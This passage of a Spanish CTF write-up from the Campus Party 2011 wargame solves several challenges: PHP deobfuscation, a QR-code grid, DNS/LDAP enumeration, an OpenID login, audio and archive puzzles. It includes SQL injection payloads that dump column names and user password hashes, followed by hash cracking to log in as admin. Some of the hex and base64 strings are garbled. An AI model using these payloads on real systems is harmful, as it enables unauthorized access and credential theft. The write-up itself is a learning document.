eh75+5+y5Asd/Y3aqxmjLBMj5zRYOdd31eo5G3t2NJCAZ7vWSKT3+N/oeG/LAha7SFZKNWNM4f6E/
JRpFBDNgvNoPq113RZ1jpbJbdZP10GRdw3vWb14hykd7NL6yX244AbgETVBilHlGffv7Divx1q3Qex//
E87UiTYKEUa2u5UqVkzeczITR/
ATBaFPiDtmKgn12js7yW2+nk80zybkb2w9QuqeiJsKzoS21oCCgBKroP+zw6WsmX0cG5230s0WbPr7DxZfdNyd6+thF
CoI1EbdUhgGqCjEpc+QjSs4ZH0FWSAR8EiHRXFhtu5vart6FDvkelaxY+n4dGfet7AqlqIgagEhz0ZT5KcSZg3n5Zc/
FU77JbTutikF6qVa9C4F/
MbLIgp3aGSQQ3pzlh2tFi78RNTwt7TAxbAozGn8ft9u1c1ZObVL0Moxi4kxV5ntUQYQSBuWgsVTKaORsnbJmtwQnJ
vR+lBFLsFOcnl+QixV/KO901Xu4UenWE9Kifi4FA/GZktDMnxN3L1jEbbFLlwoVrT4pFVk647hGxUGQNq+8PMn1/
tcfyTOBEMM5yojLSqnz7J83tHUDr07AQJQh0A6QRUOk1gJp1EYKIDBtZ41jyzKnpzGje8d+f+xXQ0Krzq/
OvrWa35kOzyNbyPLxmU982j1hQwfHj5Lk19XWFnwVnyu+btVKJv7YLFlyw7JDWPvCUe14BBv6ekVIgEcv0+m9K4iedOj==" )
));
}
$t7543950f5cea1e0b7097cb05efcc6b3($cfb98347caba4239640c2cc490761589(), "x36\61\x38\71\x62\142\x3
2\146\x37\62\x66\67\x36\70\x36\66\x38\143\x30\71\x33\60\x39\145\x64\64\x64\145\x36\67\x65\66")?
$rd69aefb864192d581539c0a1e1e8c31():$ua3d07d9669f35ffd9a30a0b580f3c00();

```

Nuevamente el uso de funciones variables, en este caso la funcion que usan en el condicional \$z50ad009ff8904910028e40f5f40be5d corresponde a md5(), se supuso que esta se usaba para no ejecutar el codigo si ha sido alterado, de modo que se comento el condicional if. Tambien es necesario comentar la llamada a la funcion que esta antes y despues del if, que corresponden a un ob_start(), y a un condicional ternario con llamadas adicionales. Y nuevamente se reemplaza el eval, por un print, con lo que se obtiene:

```

/*6189bb2f72f768668c09309ed4de67e6*/?><?php error_reporting(E_ALL);
ini_set("x64\151\x73\160\x6c\141\x79\137\x65\162\x72\157\x72\163", "x31");
$db_host = "x6c\157\x63\141\x6c\150\x6f\163\x74";

```

```

$db_user = "\x72\x145\x74\x157\x63\x160";
$db_pwd = "\x31\x62\x33\x64\x35\x66";
$database = "\x72\x145\x74\x157\x63\x160";
$table = "\x61\x145\x5f\x147\x61\x154\x6c\x145\x72\x171";
if (!mysql_connect($db_host, $db_user, $db_pwd)) die(mysql_error());
if (!mysql_select_db($database)) die(mysql_error());

if (!
mysql_query("\x53\x105\x4c\x105\x43\x124\x20\x143\x61\x155\x70\x157\x31\x54\x63\x141\x6d\x160\x6f\x62\x2c\x1
43\x61\x155\x70\x157\x33\x54\x63\x141\x6d\x160\x6f\x64\x20\x146\x72\x157\x6d\x40\x6f\x160\x65\x162\x61\x143\x
69\x157\x6e\x145\x73")) die(mysql_error());

$result=mysql_query("\x53\x105\x4c\x105\x43\x124\x20\x143\x61\x155\x70\x157\x31\x54\x63\x141\x6d\x160\x6f\x
62\x2c\x143\x61\x155\x70\x157\x33\x54\x63\x141\x6d\x160\x6f\x64\x2c\x143\x61\x155\x70\x157\x35\x40\x66\x162\x
6f\x155\x20\x157\x70\x145\x72\x141\x63\x151\x6f\x156\x65\x163") or die(mysql_error());
if (!mysql_num_rows($result)) die(mysql_error());
$row = mysql_fetch_array( $result );

if (!($row[0] == (int)$row[0])) die("$row[0]
\x20\x156\x6f\x40\x65\x163\x20\x145\x6e\x164\x65\x162\x6f");

if (!($row[1] == (int)$row[1])) die("$row[1]
\x20\x156\x6f\x40\x65\x163\x20\x145\x6e\x164\x65\x162\x6f");

if (!($row[2] == (int)$row[2])) die("$row[2]
\x20\x156\x6f\x40\x65\x163\x20\x145\x6e\x164\x65\x162\x6f");

if (!($row[3] == (int)$row[3])) die("$row[3]
\x20\x156\x6f\x40\x65\x163\x20\x145\x6e\x164\x65\x162\x6f");

if (!($row[4] == (int)$row[4])) die("$row[4]
\x20\x156\x6f\x40\x65\x163\x20\x145\x6e\x164\x65\x162\x6f");
$campo1=(int)$row[0];
$campo2=(int)$row[1];
$campo3=(int)$row[2];
$campo4=(int)$row[3];
$resultado_real=(int)$row[4]+$campo2;
print "\x3c\x150\x74\x155\x6c\x76";

print "\x45\x154\x20\x166\x61\x154\x6f\x162\x20\x40\x65\x156\x20\x154\x61\x40\x42\x104\x20\x145\x73\x72\x20"
.$resultado_real ."\x3c\x142\x72\x76";
$resultado=(int) ($campo1+$campo2-$campo3+$campo4);

print "\x45\x154\x20\x166\x61\x154\x6f\x162\x20\x143\x61\x154\x63\x165\x6c\x141\x64\x157\x20\x145\x73\x72\x2
0" .$resultado ."\x3c\x142\x72\x76";
if ($resultado == $resultado_real) {

print "\x4c\x157\x20\x164\x69\x145\x6e\x145\x73\x41\x2c\x40\x6c\x141\x20\x143\x6c\x141\x76\x145\x20\x145\x73
\x72\x20\x74\x62\x76"\x6f\x146\x75\x163\x63\x141\x72\x156\x6f\x145\x73\x163\x75\x146\x69\x143\x69\x145\x6e\x1
64\x65\x74\x2f\x142\x3e\x56\x3c\x142\x72\x76";
print "\x3c\x57\x68\x164\x6d\x154\x3e";
} else {

print "\x3c\x142\x72\x76\x4c\x157\x73\x40\x76\x141\x6c\x157\x72\x145\x73\x40\x73\x157\x6e\x40\x64\x151\x66\x1
45\x72\x145\x6e\x164\x65\x163\x2c\x40\x6e\x157\x20\x164\x65\x40\x70\x165\x65\x144\x6f\x40\x64\x141\x72\x40\x6
c\x141\x20\x113\x45\x131\n";
print "\x3c\x57\x68\x164\x6d\x154\x3e";
} ?>

```

Se opto por comentar los condicionales y las instrucciones que hagan referencia a consultas de

mysql, al ejecutar el script obtenemos:

```
<html>
El valor en la BD es: 0<br>
El valor calculado es: 0<br>
Lo tienes!, la clave es: <b>"ofuscarnoessuficiente"</b>.<br>
</html>
<br>Los valores son diferentes, no te puedo dar la KEY
</html>
```

La llave para este reto es **ofuscarnoessuficiente**.

Nivel 1 - Reto 3 - MegaQR

Descripcion

MegaQR? Sacas las tijeras!

Archivos adjuntos

otroretomas.bin

Se descargo el archivo adjunto al reto, se identifico con file, se descomprimio y luego el JPG que aparecia tenia 10x10 codigos QR, con el siguiente script en php y la libreria gd se separan todas las imagenes individualmente.

```
<?php
$img = imagecreatefromjpeg('retocp04.jpg');

$cont = 0;
for ($i = 0; $i < 10; $i++) {
    for ($j = 0; $j < 10; $j++) {
        $imgn = imagecreatetruecolor(372, 372);
        imagecopyresized($imgn, $img, 0, 0, $i * 372, $j * 372, 372, 372, 372, 372);

        $name = str_pad($cont++, 3, '0', STR_PAD_LEFT);
        imagepng($imgn, $name . '.png');
        imagedestroy($imgn);
    }
}
```

Con el script se corta la imagen resultando 100 QRcodes, con la herramienta ZBar se identificaron todos los codigos teniendo esta salida:

```
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0YSB0YW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJldG8gUVIsIGVuY3VlbnRyYSBsYSBjbGF2ZQ==
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJldG8gUVIsIGVuY3VlbnRyYSBsYSBjbGF2ZQ==
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywvZXR0eSBybyBlcyBsYSBjbGF2ZSE=
```

EAN-8:83640667

QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:TG8gc2llbnRvLCB0YW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXN0YSB0YW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJldG8gUVIsIGVuY3VlbnRyYSBsYSBjbGF2ZQ==
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0YSBzaSBlc3ogT3Ryb1JldG9NYXNEZVFSUGFyYUNhbXB1c1BhcnR5
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywgZXR0YSBubyBlcyBsYSBjbGF2ZSE=
QR-Code:TG8gc2llbnRvLCB0YW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywgZXR0YSBubyBlcyBsYSBjbGF2ZSE=
QR-Code:aHR0cDovL2xtZ3RmeS5jb20vP3E9Y3VhbCticytsYSStjbGF2ZSsIM0Y=
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywgZXR0YSBubyBlcyBsYSBjbGF2ZSE=
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJldG8gUVIsIGVuY3VlbnRyYSBsYSBjbGF2ZQ==
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywgZXR0YSBubyBlcyBsYSBjbGF2ZSE=
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJldG8gUVIsIGVuY3VlbnRyYSBsYSBjbGF2ZQ==
QR-Code:aHR0cDovL2xtZ3RmeS5jb20vP3E9Y3VhbCticytsYSStjbGF2ZSsIM0Y=
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJldG8gUVIsIGVuY3VlbnRyYSBsYSBjbGF2ZQ==
QR-Code:aHR0cDovL2xtZ3RmeS5jb20vP3E9Y3VhbCticytsYSStjbGF2ZSsIM0Y=
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:RXN0YSB0YW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:TG8gc2llbnRvLCB0YW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:TG8gc2llbnRvLCB0YW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:TG8gc2llbnRvLCB0YW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywgZXR0YSBubyBlcyBsYSBjbGF2ZSE=
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFylGxhIGNsYXZI
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywgZXR0YSBubyBlcyBsYSBjbGF2ZSE=
QR-Code:aHR0cDovL2xtZ3RmeS5jb20vP3E9Y3VhbCticytsYSStjbGF2ZSsIM0Y=
QR-Code:RXN0YSBOTyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:TG8gc2llbnRvLCB0YW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:U2IndWUgYWRibGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==

QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJldG8gUVIsIGVuY3VlbnRyYSBsYSBjbGF2ZQ==
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywgZXN0YSBubyBlcyBsYSBjbGF2ZSE=
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:aHR0cDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtscytsYStjbGF2ZSsIM0Y=
QR-Code:QWJ1cnJpZG8/LCB5YSBjYXNpIGxvIHRpZW5lcywgZXN0YSBubyBlcyBsYSBjbGF2ZSE=
QR-Code:RXN0YSB0TyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFyIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:aHR0cDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtscytsYStjbGF2ZSsIM0Y=
QR-Code:aHR0cDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtscytsYStjbGF2ZSsIM0Y=
QR-Code:RXN0ZSBzb2xvIGVzIHVulHJldG8gUVIsIGVuY3VlbnRyYSBsYSBjbGF2ZQ==
QR-Code:U2IndWUgYWRIbGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:U2UgdHJhdGEgZGUgZW5jb250cmFyIGxhIGNsYXZI
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:Tk8geSBOTyBlcyBlc3RhlGxhIGNsYXZILCBzaWd1aWVudGU/
QR-Code:RXN0YSB0YW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:RXN0YSB0YW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:U2IndWUgYWRIbGFudGUslHF1aXphcyBsYSBwcm94aW1hIHNIYSBsYSBjbGF2ZQ==
QR-Code:RXN0YSB0YW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:RXN0YSB0YW1wb2NvIGVzIGxhIGNsYXZI
QR-Code:TG8gc2llbnRvLCB0YW1wb2NvIGVzdGEgZXMgbGEgY2xhdmU=
QR-Code:RXN0b3kgY2Fuc2Fkbywgbm8gZW5jdWVudHJvIGxhIGNsYXZI
QR-Code:aHR0cDovL2xtZ3RmeS5jb20vP3E9Y3VhbCtscytsYStjbGF2ZSsIM0Y=
QR-Code:RXN0YSB0TyBlcyBsYSBjbGF2ZSwgYnVzY2EgbGEgc2IndWllbnRI

Decodificando tenemos:

Sigue adelante, quizás la proxima sea la clave
NO y NO es esta la clave, siguiente?
NO y NO es esta la clave, siguiente?
Esta tampoco es la clave
NO y NO es esta la clave, siguiente?
Este solo es un reto QR, encuentra la clave
Este solo es un reto QR, encuentra la clave
Estoy cansado, no encuentro la clave
Estoy cansado, no encuentro la clave
Aburrido?, ya casi lo tienes, esta no es la clave!
▶♥|¼~©Ē«ŕ
Estoy cansado, no encuentro la clave
Esta NO es la clave, busca la siguiente
Se trata de encontrar la clave
Sigue adelante, quizás la proxima sea la clave
Esta NO es la clave, busca la siguiente
Lo siento, tampoco esta es la clave
Esta tampoco es la clave
Este solo es un reto QR, encuentra la clave
NO y NO es esta la clave, siguiente?
Esta NO es la clave, busca la siguiente
Aburrido?, ya casi lo tienes, esta no es la clave!
Lo siento, tampoco esta es la clave
Esta NO es la clave, busca la siguiente
Aburrido?, ya casi lo tienes, esta no es la clave!
<http://imgtfy.com/?q=cual+es+la+clave+%3F>
Sigue adelante, quizás la proxima sea la clave

Aburrido?, ya casi lo tienes, esta no es la clave!
Este solo es un reto QR, encuentra la clave
Aburrido?, ya casi lo tienes, esta no es la clave!
NO y NO es esta la clave, siguiente?
Se trata de encontrar la clave
Estoy cansado, no encuentro la clave
NO y NO es esta la clave, siguiente?
Este solo es un reto QR, encuentra la clave
<http://lmgty.com/?q=cual+es+la+clave+%3F>
Este solo es un reto QR, encuentra la clave
<http://lmgty.com/?q=cual+es+la+clave+%3F>
Estoy cansado, no encuentro la clave
Sigue adelante, quizas la proxima sea la clave
Sigue adelante, quizas la proxima sea la clave
Se trata de encontrar la clave
Sigue adelante, quizas la proxima sea la clave
Estoy cansado, no encuentro la clave
Esta NO es la clave, busca la siguiente
Esta tampoco es la clave
Sigue adelante, quizas la proxima sea la clave
Sigue adelante, quizas la proxima sea la clave
Sigue adelante, quizas la proxima sea la clave
Esta NO es la clave, busca la siguiente
Lo siento, tampoco esta es la clave
Esta NO es la clave, busca la siguiente
Lo siento, tampoco esta es la clave
Estoy cansado, no encuentro la clave
Lo siento, tampoco esta es la clave
Se trata de encontrar la clave
Estoy cansado, no encuentro la clave
NO y NO es esta la clave, siguiente?
Aburrido?, ya casi lo tienes, esta no es la clave!
Esta NO es la clave, busca la siguiente
Sigue adelante, quizas la proxima sea la clave
Estoy cansado, no encuentro la clave
Esta NO es la clave, busca la siguiente
Se trata de encontrar la clave
Sigue adelante, quizas la proxima sea la clave
Aburrido?, ya casi lo tienes, esta no es la clave!
<http://lmgty.com/?q=cual+es+la+clave+%3F>
Esta NO es la clave, busca la siguiente
Lo siento, tampoco esta es la clave
Sigue adelante, quizas la proxima sea la clave
NO y NO es esta la clave, siguiente?
Este solo es un reto QR, encuentra la clave
NO y NO es esta la clave, siguiente?
NO y NO es esta la clave, siguiente?
NO y NO es esta la clave, siguiente?
Aburrido?, ya casi lo tienes, esta no es la clave!
Estoy cansado, no encuentro la clave
Estoy cansado, no encuentro la clave
<http://lmgty.com/?q=cual+es+la+clave+%3F>
Aburrido?, ya casi lo tienes, esta no es la clave!
Esta NO es la clave, busca la siguiente
NO y NO es esta la clave, siguiente?
Se trata de encontrar la clave
NO y NO es esta la clave, siguiente?
<http://lmgty.com/?q=cual+es+la+clave+%3F>
<http://lmgty.com/?q=cual+es+la+clave+%3F>
Este solo es un reto QR, encuentra la clave
Sigue adelante, quizas la proxima sea la clave

Se trata de encontrar la clave
Estoy cansado, no encuentro la clave
NO y NO es esta la clave, siguiente?
Esta tampoco es la clave
Esta tampoco es la clave
Sigue adelante, quizas la proxima sea la clave
Esta tampoco es la clave
Esta tampoco es la clave
Lo siento, tampoco esta es la clave
Estoy cansado, no encuentro la clave
<http://lmgty.com/?q=cual+es+la+clave+%3F>
Esta NO es la clave, busca la siguiente

Sin embargo hubo una respuesta que salio mal: ►♥|¾~©Ë«¶

La imagen 26.png estaba reflejada, arreglandola y sacando el contenido del QRCode se muestra el contenido: RXN0YSBzaSBlczogT3Ryb1JldG9NYXNEZVFSUGFyYUNhbXB1c1BhcnR5, que al decodificar con base64 resulta en una frase que contiene la llave:

Esta si es: **OtroRetoMasDeQRParaCampusParty**

Nivel 1 Reto 4 - wargame.reto

Descripcion del reto

ip -> 186.115.195.103
nombre de dominio -> wargame.reto
user: admin
passwd: admin

Pista Terminal

```
CTF-Campusparty2011:~$ cat reto4-segundapista.txt  
Pista2: TXT  
CTF-Campusparty2011:~
```

Como la segunda pista del reto dice TXT, lo cual es un tipo de record DNS, y en la descripcion se habla de un nombre de dominio, se uso la herramienta nslookup para evaluar la existencia de un servidor DNS en la ip indicada.

```
$ nslookup  
> set type=any  
> server 186.115.195.103  
Default server: 186.115.195.103  
Address: 186.115.195.103#53  
> wargame.reto  
Server:          186.115.195.103  
Address:         186.115.195.103#53  
  
wargame.reto  
origin = wargame.reto
```

```
mail addr = root.wargame.reto
serial = 2
refresh = 604800
retry = 86400
expire = 2419200
minimum = 604800
wargame.reto nameserver = wargame.reto.
Name: wargame.reto
Address: 186.115.195.103
wargame.reto text = "nombre ipv6: ipv6.wargame.reto"
> ipv6.wargame.reto
Server: 186.115.195.103
Address: 186.115.195.103#53

ipv6.wargame.reto has AAAA address 2800:680:1:d:a00:27ff:fea5:8949
```

En la IP 186.115.195.103 se descubrieron varios puertos abiertos:

```
Scanning wargame.reto (186.115.195.103) [1000 ports]
Discovered open port 21/tcp on 186.115.195.103
Discovered open port 53/tcp on 186.115.195.103
Discovered open port 445/tcp on 186.115.195.103
Discovered open port 111/tcp on 186.115.195.103
Discovered open port 139/tcp on 186.115.195.103
Discovered open port 22/tcp on 186.115.195.103
```

Mas el puerto 53 que corresponde al servicio DNS. En la IP 2800:680:1:d:a00:27ff:fea5:8949 aparte de los puertos mencionados se encontro el puerto 389 que corresponde al servicio de LDAP.

```
PORT STATE SERVICE
22/tcp open      ssh
53/tcp open      domain
119/tcp filtered nntp
139/tcp open     netbios-ssn
389/tcp open     ldap
445/tcp open     microsoft-ds
```

Con JXplorer y de forma anonima se obtuvo la estructura del directorio y los DN. Desde linux se uso el comando ldapsearch de esta forma para obtener la llave:

```
$ ldapsearch -h 2800:680:1:d:a00:27ff:fea5:8949 -p 389 -x -
b "cn=userflag,ou=flag,dc=wargame,dc=reto" -D "cn=admin,dc=wargame,dc=reto" -
w admin

# extended LDIF
#
# LDAPv3
# base <cn=userflag,ou=flag,dc=wargame,dc=reto> with scope subtree
# filter: (objectclass=*)
```

```
# requesting: ALL
#
# userflag, flag, wargame.reto
dn: cn=userflag,ou=flag,dc=wargame,dc=reto
objectClass: person
objectClass: organizationalPerson
cn: userflag
sn: wargame
description: este es el usuario
userPassword:: e1NIQX16VjZuUE5XUGduK25qdTl4bDdqVlHeVpzdVk9

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

La llave para este reto es **e1NIQX16VjZuUE5XUGduK25qdTl4bDdqVlHeVpzdVk9**

Nivel 2 - Reto 5 - OpenID

Descripcion

usuario@localhost.com
usuario123
50.19.187.17

Al acceder a la direccion <http://50.19.187.17/> aparecia una plataforma web con un sistema de inicio de sesion, al ingresar con el usuario y clave suministrados por la descripcion, no sucede nada. Como se observa que el servidor da la posibilidad de iniciar sesion en el sistema mediante el uso de openID, se decidio por montar un proveedor de openID, y crear la identidad correspondiente al email usuario@localhost.com

Se desplego simpleid [3], el cual es un servidor que solo requiere soporte para php. Se creo una identidad con el email usuario@localhost.com. Una vez se hizo esto aparecia el secreto:

Mi secreto es: Ser Feliz.

Luego de esto, mediante fuzzing en algunos campos de la identidad openID, se encontro que el valor del atributo de email no estaba siendo filtrado y era vulnerable a inyecciones SQL.

Se modifico el email de la identidad con el siguiente valor:

```
' union select group_concat(column_name) from information_schema.columns
where table_name = 'usuarios' group by table_name --
```

Lo cual nos devolvía que el nombre de todas las columnas de la tabla usuarios. Una vez hecho esto, se cambió el correo por

```
' union select concat(usuario, clave) from iusuarios limit 0,1 --
' union select concat(usuario, clave) from iusuarios limit 1,1 --
```

Y nos entregó el usuario y hash para los dos que estaban registrados en el sistema. El que nos interesa es el usuario admin:

Usuario: admin
Hash: 7694f4a66316e53c8cdd9d9954bd611d

Usando Google se descubre que el valor que genera este hash md5 corresponde a 'q'.

Ahora volvemos a la pantalla inicial, e iniciamos sesión con estas credenciales, y vemos el secreto de Admin:

So with those last thoughts, it's time to say bon voyage. Our planned 50 day cruise has expired, and we must now sail into the distance, leaving behind - we hope - inspiration, fear, denial, happiness, approval, disapproval, mockery, embarrassment, thoughtfulness, jealousy, hate, even love.

Buscando en Google podemos ver que estas frases pertenecen al documento liberado por LulzSec anunciando su retiro. Después de intentar varias cosas opciones de hash que se encontraban allí, se optó por buscar información adicional en internet relacionada. Y observamos que el título del documento es '**50 days of Lulz**' y esta es la llave del reto.

Nivel 2 Reto 6 - Cap'n Crunch

Pista
Cap'n Crunch

Archivos adjuntos
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.bin

Descargamos el archivo, lo identificamos y procedemos a extraerlo:

```
$ file AAAAAAAAAAAAAAAAAAAAAA.bin
AAAAAAAAAAAAAAAAAAAAA.bin: gzip compressed data, from Unix, last modified: Sun Jun 12 18:14:22
2011
$ mv AAAAAAAAAAAAAAAAAAAAAA.bin AAAAAAAAAAAAAAAAAAAAAA.gz
```

```
$ gzip -d AAAAAAAAAAAAAAAAAAAAAA.gz
$ file AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA: POSIX tar archive
$ tar xvzf A^C
$ tar xvf AAAAAAAAAAAAAAAAAAAAAA
```

Aparecen 17 archivos los cuales estan comprimidos muchas veces usando bzip y gzip, de manera intercalada. Creamos un bash script para que extraiga todos repitiendo los comandos `gzip -d *.gz` y `bzip2 -d *.bz2` muchas veces.

Una vez terminado concatenamos los archivos juntos y obtenemos un archivo WAV, el cual esta invertido, se usa Audacity para invertirlo. El WAV tiene una conversacion, en la cual aparecen sonidos de un telefono al final. Usando la pagina <http://www.dialabc.com/sound/detect/> detectamos las teclas que presionan, las cuales son 7773386663327777999 y corresponden a la clave del reto escrita en un celular mediante las teclas numericas, la clave es 'retoeasy'.

Nivel 2 Reto 7 - Jar

Descripcion

No es tan dificil como parece

Adjuntos

6ba8b7ffd30a5e80c662072f040cf343

```
$ file 6ba8b7ffd30a5e80c662072f040cf343
6ba8b7ffd30a5e80c662072f040cf343: gzip compressed data, from Unix, last modified: Sun Jun 26
20:55:58 2011
```

```
$ tar xvf 6ba8b7ffd30a5e80c662072f040cf343.tar
usr/lib/libbusiness_LoginLogic.so
opt/lib/
opt/lib/swing-layout-1.0.4.jar
opt/CampusPartyJavaKeyGenerator.jar
usr/lib/lib2tiff.so.4
usr/lib/libthayy.so.0
usr/lib/libvor1bis.so.0
usr/lib/libggatag.so.1
usr/lib/libsmimame3.so
usr/lib/lib2plc4.so
README.txt
```

Decompilamos el jar, y se puede ver que hace llamados a la libreria nativa `libbusiness_LoginLogic.so`

```
private LoginLogic() throws UnsatisfiedLinkError, SecurityException {
```

```

        System.loadLibrary("business_LoginLogic");
    }

